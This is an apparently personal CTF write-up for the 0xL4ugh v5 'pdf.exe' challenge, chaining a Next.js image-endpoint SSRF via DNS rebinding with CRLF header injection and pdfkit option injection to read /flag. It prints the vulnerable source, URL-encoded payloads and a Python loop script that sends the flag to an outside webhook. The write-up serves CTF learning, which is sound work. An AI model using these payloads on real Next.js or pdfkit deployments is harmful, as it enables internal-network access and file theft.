Tags: 0day web research
Rating:
pdf.exe | 0xL4ugh v5 CTF
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To start with, I want to thank the author:
[Omar M. Hasan](https://medium.com/u/b347988fc07a?source=post_page---user_mention--643455d4e05f---------------------------------------)
and 0xl4ugh Team for this amazing challenge
here is a summary for the challenge:
1- This is a nextjs challenge which generates a pdf using pdfkit
2- we only have the page.tsx which is visible and publicly accessible
3- any other logic anything can help us read the flag is not accessible and internal
challenge url :
[http://pdf.webctf.online/](http://pdf.webctf.online/)
Now lets begin with the source code :
/internal/app.py
```
import os
import time
from urllib.request import urlopen
from flask import Flask, request, send_from_directory, jsonify, abort
from werkzeug.utils import secure_filename
import pdfkit
# ---
app = Flask(__name__)
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
SHARED_DIR = os.path.join(BASE_DIR, 'reports')
os.makedirs(SHARED_DIR, exist_ok=True)
# ---
def get_system_report(content_disposition="attachment; filename=\"report.txt\""):
"""
Generates the text report containing system info.
"""
report = f"{content_disposition}\n\n"
report += os.popen("uname -a && echo && uptime && echo && whoami").read()
return report
def fetch_pdf_report(data_uri, filename):
"""
Parses the data URI and constructs the report content.
Returns the report string on success, or None on failure.
"""
try:
response = urlopen(data_uri)
info = response.info()
raw_body = response.read()
cd_header = info.get("Content-Disposition")
if cd_header:
final_cd = f'{cd_header}; id="{raw_body}"; filename="{filename}"'
else:
final_cd = f'attachment; filename="{filename}"'
return get_system_report(final_cd)
except Exception:
return None
# ---
@app.route('/generate', methods=['GET'])
def generate_pdf():
data_uri = request.args.get('data')
if not data_uri:
return jsonify({"error": "Missing 'data' parameter"}), 400
if not data_uri.startswith("data:plain/text"):
return jsonify({"error": "Invalid data format"}), 400
timestamp = int(time.time())
filename = f"report_{timestamp}.pdf"
content = fetch_pdf_report(data_uri, filename)
if content is None:
return jsonify({"error": "Failed to fetch report content"}), 500
output_path = os.path.join(SHARED_DIR, filename)
try:
pdfkit.from_string(content, output_path)
return jsonify({"message": "PDF generated", "filename": filename})
except Exception:
return jsonify({"error": "Failed to generate PDF"}), 500
# ---
@app.route('/pdfs', methods=['GET'])
def list_pdfs():
files = [f for f in os.listdir(SHARED_DIR) if f.endswith('.pdf')]
return jsonify({"files": files})
# ---
@app.route('/pdfs/<filename>', methods=['GET'])
def download_pdf(filename):
safe_filename = secure_filename(filename)
if safe_filename != filename:
return abort(400, description="Invalid filename")
file_path = os.path.join(SHARED_DIR, safe_filename)
if not os.path.exists(file_path):
return abort(404, description="File not found")
return send_from_directory(SHARED_DIR, safe_filename, as_attachment=True)
# ---
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
```
/prod/app/page.tsx
```
"use client";
import { useEffect, useState } from "react";
import { getPdfs } from "../actions";
const PASSWORD = "REDACTED";
export default function Home() {
const [files, setFiles] = useState<string[]>([]);
const [authed, setAuthed] = useState(false);
useEffect(() => {
if (typeof window !== "undefined") {
setAuthed(localStorage.getItem("passcode") === PASSWORD);
}
}, []);
useEffect(() => {
if (authed) {
getPdfs().then((data) => setFiles(data.files));
}
}, [authed]);
if (!authed) {
return <main style={{textAlign:'center',marginTop:'20vh'}}><h2>Login required</h2></main>;
}
return (
<main>
<h1>PDF List</h1>
<table style={{ width: '100%', borderCollapse: 'collapse', marginTop: '1em' }}>
<thead>
<tr>
<th style={{ textAlign: 'left', borderBottom: '2px solid var(--accent)', padding: '0.5em' }}>File Name</th>
</tr>
</thead>
<tbody>
{files.length === 0 ? (
<tr><td style={{ padding: '0.5em' }}>No PDFs found.</td></tr>
) : (
files.map((file) => (
<tr key={file}>
<td style={{ padding: '0.5em', borderBottom: '1px solid #4442' }}>{file}</td>
</tr>
))
)}
</tbody>
</table>
</main>
);
}
```
There are other files i will try to provide the challenge source code inshallah
Lets start solving at first i will move it step by step
1- find a way to access the internal files
2- use the intenral files to get RCE or find a way to get the flag
But there is a problem that is a simple nextjs application with simple image configuration in next.config.ts
```
import type { NextConfig } from 'next'
const nextConfig: NextConfig = {
images: {
remotePatterns: [{ protocol: "http", hostname: "**" }]
}
}
export default nextConfig
```
To be honest while solving I started to search for researches and lot of stuff with this keyword
Next Js Redirect Based SSRF
until I found this blog that I recommend you to read it
[From CVE to Closure: My Journey Exploring SSRF in Next.js 13.5.1 (CVE-2024–34351)
---------------------------------------------------------------------------------
### “Sometimes it’s not the version, but the vision.”
medium.com](https://medium.com/@yashprajapati791/from-cve-to-closure-my-journey-exploring-ssrf-in-next-js-13-5-1-cve-2024-34351-ae32f3878c84?source=post_page-----643455d4e05f---------------------------------------)
after reading it i found this endpoint
```
/_next/image?url=
```
but we have to add the w= and q= , so I took this payload that he made :
```
/_next/image?url=https://scope.s3.amazonaws.com/uploads/ssrf_polyglot.png&w=128&q=75
```
but i decided to add my own burp collab to see what is going on and sent the request
when i returned back to the collab i got some connection
i tried alot of things but nothig worked for me i decided to search for the part responsible for this in the nextjs so i asked gpt to give me the file or function that is reponsible for it
[next.js/packages/next/src/server/image-optimizer.ts at canary · vercel/next.js
------------------------------------------------------------------------------
### The React Framework. Contribute to vercel/next.js development by creating an account on GitHub.
github.com](https://github.com/vercel/next.js/blob/canary/packages/next/src/server/image-optimizer.ts?source=post_page-----643455d4e05f---------------------------------------)
so after some analysis (Alot) I found the function responsible for it fetchExternalImage and started to analyze it
I found this parts of the code
```
if (!dangerouslyAllowLocalIP) {
const { hostname } = new URL(href)
let ips = [hostname]
if (!isIP(hostname)) {
const records = await lookup(hostname, {
family: 0,
all: true,
hints: ALL,
}).catch((_) => [{ address: hostname }])
ips = records.map((record) => record.address)
}
const privateIps = ips.filter((ip) => isPrivateIp(ip))
if (privateIps.length > 0) {
Log.error(
'upstream image',
href,
'resolved to private ip',
JSON.stringify(privateIps)
)
throw new ImageError(400, '"url" parameter is not allowed')
}
}
const res = await fetch(href, {
signal: AbortSignal.timeout(7_000),
redirect: 'manual',
}).catch((err) => err as Error)
```
Here we can see this line
```
const { hostname } = new URL(href)
```
makes Initial URL Parsing
and then on the next part
```
let ips = [hostname]
if (!isIP(hostname)) {
const records = await lookup(hostname, {
family: 0,
all: true,
hints: ALL,
}).catch((_) => [{ address: hostname }])
ips = records.map((record) => record.address)
}
```
check for the host using lookup
```
const privateIps = ips.filter((ip) => isPrivateIp(ip))
if (privateIps.length > 0) {
throw new ImageError(400, '"url" parameter is not allowed')
}
```
private ip filter which was very weak can be bypassed using DNS rebinding
```
const res = await fetch(href, {
signal: AbortSignal.timeout(7_000),
redirect: 'manual',
})
```
it fetches the url or image
After some analysis and help of an AI He told me this is a
TOCTOU => Time Of Check to Time Of Use
simply It checks for the host and then use it so we can use a DNS Rebinding in this case and see what we will get
To generate a rebinder i will use this website
[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)
add the host on B to the ip of google.com
like this
for now we have the way to make a ssrf we got the first 0day now we need to find a way to read or get the flag
move to part 2
in app.py we have this library
```
import pdfkit
```
with some research I found this page
[The Python Pdfkit Library Vulnerability
---------------------------------------
### Security analysts of CSIRT.SK discovered a vulnerability in the Python pdfkit library is caused by parsing…
csirt.sk](https://csirt.sk/the-python-pdfkit-library-vulnerability.html?source=post_page-----643455d4e05f---------------------------------------)
After reading it you will come up with a payload like this
```
<meta name="pdfkit-post-file" content=""> <meta name="pdfkit-leak-data" content="/flag"> <meta name="pdfkit-https://YOUDOMAIN/?q=--" content="--cache-dir">
```
But now we need to generate it we can simply send it to the generate but we have to take a look on this function
```
def fetch_pdf_report(data_uri, filename):
"""
Parses the data URI and constructs the report content.
Returns the report string on success, or None on failure.
"""
try:
response = urlopen(data_uri)
info = response.info()
raw_body = response.read()
cd_header = info.get("Content-Disposition")
if cd_header:
final_cd = f'{cd_header}; id="{raw_body}"; filename="{filename}"'
else:
final_cd = f'attachment; filename="{filename}"'
return get_system_report(final_cd)
except Exception:
return None
```
So My Ai Told me there is CRLF and gave me this final payload
```
data:plain/text
Content-Disposition:<meta name="pdfkit-post-file" content=""> <meta name="pdfkit-leak-data" content="/flag"> <meta name="pdfkit-https://YOURDOMAIN?q=--" content="--cache-dir">,canelo
```
Now with simple url encode
```
data:plain/text%0AContent-Disposition:%3Cmeta%20name=%22pdfkit-post-file%22%20content=%22%22%3E%20%3Cmeta%20name=%22pdfkit-leak-data%22%20content=%22/flag%22%3E%20%3Cmeta%20name=%22pdfkit-https://YOURDOMAIN/?q=--%22%20content=%22--cache-dir%22%3E,canelo
```
Now lets use or DNS rebinding and add this to the generate endpoint
Now give it another url encode
```
http%3A%2F%2F7f000001.8efac8ce.rbndr.us%3A5000%2Fgenerate%3Fdata%3Ddata%3Aplain%2Ftext%250AContent-Disposition%3A%253Cmeta%2520name%3D%2522pdfkit-post-file%2522%2520content%3D%2522%2522%253E%2520%253Cmeta%2520name%3D%2522pdfkit-leak-data%2522%2520content%3D%2522%2Fflag%2522%253E%2520%253Cmeta%2520name%3D%2522pdfkit-https%3A%2F%2FYOURDOMAIN%2F%3Fq%3D--%2522%2520content%3D%2522--cache-dir%2522%253E%2Ccanelo
```
dont forget to add your webhook
I made this python script to send request and send the flag to my webhook
```
import requests
import time
paylaod = "http%3A%2F%2F7f000001.8efac8ce.rbndr.us%3A5000%2Fgenerate%3Fdata%3Ddata%3Aplain%2Ftext%250AContent-Disposition%3A%253Cmeta%2520name%3D%2522pdfkit-post-file%2522%2520content%3D%2522%2522%253E%2520%253Cmeta%2520name%3D%2522pdfkit-leak-data%2522%2520content%3D%2522%2Fflag%2522%253E%2520%253Cmeta%2520name%3D%2522pdfkit-https%3A%2F%2Fwebhook.site%2F71f66f91-fb0d-4b79-b78a-d4b1ebfcb036%2F%3Fq%3D--%2522%2520content%3D%2522--cache-dir%2522%253E%2Ccanelo"
r = f"http://pdf.webctf.online/_next/image?url={paylaod}&w=256&q=75&"
print("Attack started check your webhook")
while True:
_ = requests.get(r)
time.sleep(0.1)
```
now check your webhook
Nice we got the flag lets download it and read it
Thanks for Reading You can view the author writeup
[https://mushroom.cat/ctf/nextjs-ssrf-python-crlf-pdfkit-injection](https://mushroom.cat/ctf/nextjs-ssrf-python-crlf-pdfkit-injection)
[GITHUB](https://github.com/00xCanelo) [TEAM](https://ctftime.org/team/402823)
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